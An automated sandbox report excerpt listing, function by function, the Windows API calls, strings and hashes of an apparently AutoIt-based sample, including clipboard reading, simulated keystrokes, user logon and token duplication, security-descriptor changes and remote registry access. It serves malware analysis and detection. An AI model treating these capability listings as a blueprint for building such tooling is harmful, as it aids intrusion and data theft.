GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 007C2DC4

Part of subcall function 007C6B57: _wcslen.LIBCMT ref: 007C6B6A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 89dc7052873e29eab298e13f37f4ab690df68fc700b3b6f44faf7901f0a8ea50
Instruction ID: 4debc470f996a3e11a30a9bd83078f4ffbda616f3686f6456bd38a8e89e70e07
Opcode Fuzzy Hash: 89dc7052873e29eab298e13f37f4ab690df68fc700b3b6f44faf7901f0a8ea50
Instruction Fuzzy Hash: 07E0CD726002245BCB10D6589C09FDA77DDEFC8790F040075FD09E7248DE64AD808551

Function 007C2B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 007C3837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 007C3908

Part of subcall function 007CD730: GetInputState.USER32 ref: 007CD807

SetCurrentDirectoryW.KERNEL32(?), ref: 007C2B6B

Part of subcall function 007C30F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 007C314E

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: 6de7b577e93e6ac5bd2bb98e46027c7138a5dd0087346b0ba9e13a36d6074cf2
Instruction ID: 68e163206d2bfc5a02e74e6600c579bcb78b9f39c1e7479f58926ab4ad24cbc1
Opcode Fuzzy Hash: 6de7b577e93e6ac5bd2bb98e46027c7138a5dd0087346b0ba9e13a36d6074cf2
Instruction Fuzzy Hash: D2E0262230430486CE04BB70985EFBDB38AABD5311F00443EF14383163CE2C898A4351

Function 0080039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00800704,?,?,00000000,?,00800704,00000000,0000000C), ref: 008003B7

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d2eb18a98d635a953a0ed2615c65e600c1168331c8264732a9e76fbd7bfa57ac
Instruction ID: 5d050a0c656f8ed9a8026c00e2989806ecdb4d961cbd6743bfefc38030d6a30f
Opcode Fuzzy Hash: d2eb18a98d635a953a0ed2615c65e600c1168331c8264732a9e76fbd7bfa57ac
Instruction Fuzzy Hash: D5D06C3204020DBFDF028F84DD06EDA3BAAFB48714F014040BE1856020C736E821AB90

Function 007C1CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 007C1CBC

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 7247f474cee23eaaaf44ee1b64d6a6effc902ddcffec0a35d9e4a20e29bc3c98
Instruction ID: ad29ef87f67f7163155c2409e449ff87e6ac1f62e69bf18863f76f80ede139d5
Opcode Fuzzy Hash: 7247f474cee23eaaaf44ee1b64d6a6effc902ddcffec0a35d9e4a20e29bc3c98
Instruction Fuzzy Hash: DAC0923A280305AFF614ABD0BC4EF107764B348B01F488002F60DA96E3D3B62820EA50

Non-executed Functions

Function 00859576 Relevance: 72.4, APIs: 39, Strings: 2, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 007D9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 007D9BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0085961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0085965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 0085969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 008596C9
SendMessageW.USER32 ref: 008596F2
GetKeyState.USER32(00000011), ref: 0085978B
GetKeyState.USER32(00000009), ref: 00859798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 008597AE
GetKeyState.USER32(00000010), ref: 008597B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 008597E9
SendMessageW.USER32 ref: 00859810
SendMessageW.USER32(?,00001030,?,00857E95), ref: 00859918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0085992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00859941
SetCapture.USER32(?), ref: 0085994A
ClientToScreen.USER32(?,?), ref: 008599AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 008599BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 008599D6
ReleaseCapture.USER32 ref: 008599E1
GetCursorPos.USER32(?), ref: 00859A19
ScreenToClient.USER32(?,?), ref: 00859A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00859A80
SendMessageW.USER32 ref: 00859AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00859AEB
SendMessageW.USER32 ref: 00859B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00859B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00859B4A
GetCursorPos.USER32(?), ref: 00859B68
ScreenToClient.USER32(?,?), ref: 00859B75
GetParent.USER32(?), ref: 00859B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00859BFA
SendMessageW.USER32 ref: 00859C2B
ClientToScreen.USER32(?,?), ref: 00859C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00859CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00859CDE
SendMessageW.USER32 ref: 00859D01
ClientToScreen.USER32(?,?), ref: 00859D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00859D82

Part of subcall function 007D9944: GetWindowLongW.USER32(?,000000EB), ref: 007D9952

GetWindowLongW.USER32(?,000000F0), ref: 00859E05

Strings

F, xrefs: 00859D07
@GUI_DRAGID, xrefs: 0085997D

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F
API String ID: 3429851547-4164748364
Opcode ID: e2fc6c36f30d0f4fd7dddbf76f09c9b018e2cfb7dd94b104ec40b2de4a91bd53
Instruction ID: 7495d863705b04013d9cd65f269129a0830b2da7067333c66d2fa462d714347d
Opcode Fuzzy Hash: e2fc6c36f30d0f4fd7dddbf76f09c9b018e2cfb7dd94b104ec40b2de4a91bd53
Instruction Fuzzy Hash: 9C428A34204301EFDB21CF64C948AAABBE5FF58356F14061EFA99C72A1E731A958DF41

Function 007DF98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 007DF998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0081F474
IsIconic.USER32(00000000), ref: 0081F47D
ShowWindow.USER32(00000000,00000009), ref: 0081F48A
SetForegroundWindow.USER32(00000000), ref: 0081F494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0081F4AA
GetCurrentThreadId.KERNEL32 ref: 0081F4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0081F4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 0081F4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 0081F4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 0081F4DE
SetForegroundWindow.USER32(00000000), ref: 0081F4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 0081F4F6
keybd_event.USER32(00000012,00000000), ref: 0081F501
MapVirtualKeyW.USER32(00000012,00000000), ref: 0081F50B
keybd_event.USER32(00000012,00000000), ref: 0081F510
MapVirtualKeyW.USER32(00000012,00000000), ref: 0081F519
keybd_event.USER32(00000012,00000000), ref: 0081F51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 0081F528
keybd_event.USER32(00000012,00000000), ref: 0081F52D
SetForegroundWindow.USER32(00000000), ref: 0081F530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 0081F557

Strings

Shell_TrayWnd, xrefs: 0081F46F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: adc3e80ab14f2537985b3e29ef81caf63afa988af821e34e49eef7232a3576e0
Instruction ID: 4788ae02cdb41e003dd86e4f6a54a942c696b004a71c4ba8466ccbb75e742ea2
Opcode Fuzzy Hash: adc3e80ab14f2537985b3e29ef81caf63afa988af821e34e49eef7232a3576e0
Instruction Fuzzy Hash: 74315D71A40318BFEB216BB55C4AFBF7EADFB44B51F10006AFA01E61D1D6B45940AEA0

Function 00821201 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 008216C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0082170D
Part of subcall function 008216C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0082173A
Part of subcall function 008216C3: GetLastError.KERNEL32 ref: 0082174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00821286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 008212A8
CloseHandle.KERNEL32(?), ref: 008212B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 008212D1
GetProcessWindowStation.USER32 ref: 008212EA
SetProcessWindowStation.USER32(00000000), ref: 008212F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00821310

Part of subcall function 008210BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,008211FC), ref: 008210D4
Part of subcall function 008210BF: CloseHandle.KERNEL32(?,?,008211FC), ref: 008210E9

Strings

, xrefs: 0082125A
default, xrefs: 0082130B
winsta0, xrefs: 008212CC

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0
API String ID: 22674027-1027155976
Opcode ID: f5943dec9f58516fe0ae93bfe4b3accae8d509e38be4ddd035b184c7de612701
Instruction ID: 189d737593fb3265f54c5bf4c5e4f8c9a02d118bdda8bc135b7505aaa275f402
Opcode Fuzzy Hash: f5943dec9f58516fe0ae93bfe4b3accae8d509e38be4ddd035b184c7de612701
Instruction Fuzzy Hash: 93818C71900318AFDF109FA4EC89BEE7BBAFF14704F244129F915E61A0C7358A84CB65

Function 00820B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 008210F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00821114
Part of subcall function 008210F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00820B9B,?,?,?), ref: 00821120
Part of subcall function 008210F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00820B9B,?,?,?), ref: 0082112F
Part of subcall function 008210F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00820B9B,?,?,?), ref: 00821136
Part of subcall function 008210F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0082114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00820BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00820C00
GetLengthSid.ADVAPI32(?), ref: 00820C17
GetAce.ADVAPI32(?,00000000,?), ref: 00820C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00820C6D
GetLengthSid.ADVAPI32(?), ref: 00820C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00820C8C
HeapAlloc.KERNEL32(00000000), ref: 00820C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00820CB4
CopySid.ADVAPI32(00000000), ref: 00820CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00820CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00820D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00820D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00820D45
HeapFree.KERNEL32(00000000), ref: 00820D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00820D55
HeapFree.KERNEL32(00000000), ref: 00820D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00820D65
HeapFree.KERNEL32(00000000), ref: 00820D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00820D78
HeapFree.KERNEL32(00000000), ref: 00820D7F

Part of subcall function 00821193: GetProcessHeap.KERNEL32(00000008,00820BB1,?,00000000,?,00820BB1,?), ref: 008211A1
Part of subcall function 00821193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00820BB1,?), ref: 008211A8
Part of subcall function 00821193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00820BB1,?), ref: 008211B7

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: d54d874cb22441d75da3f9d84193c316e3ba45def43ab320dd0fb61cc4c78d87
Instruction ID: 641ec00acecd121221b228d8797cec1371a6dd794b0a548683ee64548230cec5
Opcode Fuzzy Hash: d54d874cb22441d75da3f9d84193c316e3ba45def43ab320dd0fb61cc4c78d87
Instruction Fuzzy Hash: E671597290131AAFEF10DFA4EC48BAEBBB8FF04311F144615E914E6292D775AA45CF60

Function 0083EAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(0085CC08), ref: 0083EB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 0083EB37
GetClipboardData.USER32(0000000D), ref: 0083EB43
CloseClipboard.USER32 ref: 0083EB4F
GlobalLock.KERNEL32(00000000), ref: 0083EB87
CloseClipboard.USER32 ref: 0083EB91
GlobalUnlock.KERNEL32(00000000), ref: 0083EBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 0083EBC9
GetClipboardData.USER32(00000001), ref: 0083EBD1
GlobalLock.KERNEL32(00000000), ref: 0083EBE2
GlobalUnlock.KERNEL32(00000000), ref: 0083EC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 0083EC38
GetClipboardData.USER32(0000000F), ref: 0083EC44
GlobalLock.KERNEL32(00000000), ref: 0083EC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 0083EC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0083EC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0083ECD2
GlobalUnlock.KERNEL32(00000000), ref: 0083ECF3
CountClipboardFormats.USER32 ref: 0083ED14
CloseClipboard.USER32 ref: 0083ED59

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: 36abdb4d2a39b6330269198a73a9f2e54dc725056de46f732a980c56ef7416bb
Instruction ID: e53a546f8c9999e7fcb6413386186fc18c786240257333908dad08d23a8e1097
Opcode Fuzzy Hash: 36abdb4d2a39b6330269198a73a9f2e54dc725056de46f732a980c56ef7416bb
Instruction Fuzzy Hash: B6618734204305AFD310EF24D899F6AB7A4FB84715F14455DF856EB2E2CB39E906CBA2

Function 0083698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 008369BE
FindClose.KERNEL32(00000000), ref: 00836A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00836A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00836A75

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00836AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00836ADF

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00836B6A
%03d, xrefs: 00836DA2
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00836B32
%02d, xrefs: 00836C00, 00836C0A, 00836C5A, 00836CAA, 00836CFA, 00836D4A
%4d, xrefs: 00836BB1

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: 63611f617388664a2a8f7d1aa471fe835d2ce0f3f2a01d8cb9ebf50e6612b545
Instruction ID: 13a79d0c0e8ede26f898829a0e932fa5790bc2b96aec77f9a5c52a65340df2e5
Opcode Fuzzy Hash: 63611f617388664a2a8f7d1aa471fe835d2ce0f3f2a01d8cb9ebf50e6612b545
Instruction Fuzzy Hash: 86D14072508344AEC314EBA4C889EABB7ECFF88704F04491DF585D7291EB78DA44CB62

Function 00839642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 00839663
GetFileAttributesW.KERNEL32(?), ref: 008396A1
SetFileAttributesW.KERNEL32(?,?), ref: 008396BB
FindNextFileW.KERNEL32(00000000,?), ref: 008396D3
FindClose.KERNEL32(00000000), ref: 008396DE
FindFirstFileW.KERNEL32(*.*,?), ref: 008396FA
SetCurrentDirectoryW.KERNEL32(?), ref: 0083974A
SetCurrentDirectoryW.KERNEL32(00886B7C), ref: 00839768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00839772
FindClose.KERNEL32(00000000), ref: 0083977F
FindClose.KERNEL32(00000000), ref: 0083978F

Strings

*.*, xrefs: 008396F5

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 421aa47c148791589dc627f242d3916e2e33d2fd84a34e030788c84d137eb0da
Instruction ID: 8c1203cdcf71c2b285037030e75e581a967151d7c819585205e83cd7fd5d188b
Opcode Fuzzy Hash: 421aa47c148791589dc627f242d3916e2e33d2fd84a34e030788c84d137eb0da
Instruction Fuzzy Hash: 2E31DF3264131AAEDB10AFB4DC49ADE37ACFF89321F104055E955E21A0EBB8DE448E90

Function 0083979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 008397BE
FindNextFileW.KERNEL32(00000000,?), ref: 00839819
FindClose.KERNEL32(00000000), ref: 00839824
FindFirstFileW.KERNEL32(*.*,?), ref: 00839840
SetCurrentDirectoryW.KERNEL32(?), ref: 00839890
SetCurrentDirectoryW.KERNEL32(00886B7C), ref: 008398AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 008398B8
FindClose.KERNEL32(00000000), ref: 008398C5
FindClose.KERNEL32(00000000), ref: 008398D5

Part of subcall function 0082DAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 0082DB00

Strings

*.*, xrefs: 0083983B

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: 6f1178124a721a8f52b334c02247c60d2dafa025c82928853da0e31eff09bea3
Instruction ID: 449ec07277ee5a4cdeea5c1978d4eee385714cd02eadaa958147d32036fdcebf
Opcode Fuzzy Hash: 6f1178124a721a8f52b334c02247c60d2dafa025c82928853da0e31eff09bea3
Instruction Fuzzy Hash: 3231B33150131D6EDB10AFA4DC48ADE77ACFF86325F104165E990E21A0DBB9DD44CFA0

Function 0084BE44 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0084C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0084B6AE,?,?), ref: 0084C9B5
Part of subcall function 0084C998: _wcslen.LIBCMT ref: 0084C9F1
Part of subcall function 0084C998: _wcslen.LIBCMT ref: 0084CA68
Part of subcall function 0084C998: _wcslen.LIBCMT ref: 0084CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0084BF3E
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 0084BFA9
RegCloseKey.ADVAPI32(00000000), ref: 0084BFCD
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0084C02C
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 0084C0E7
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0084C154
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0084C1E9
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 0084C23A
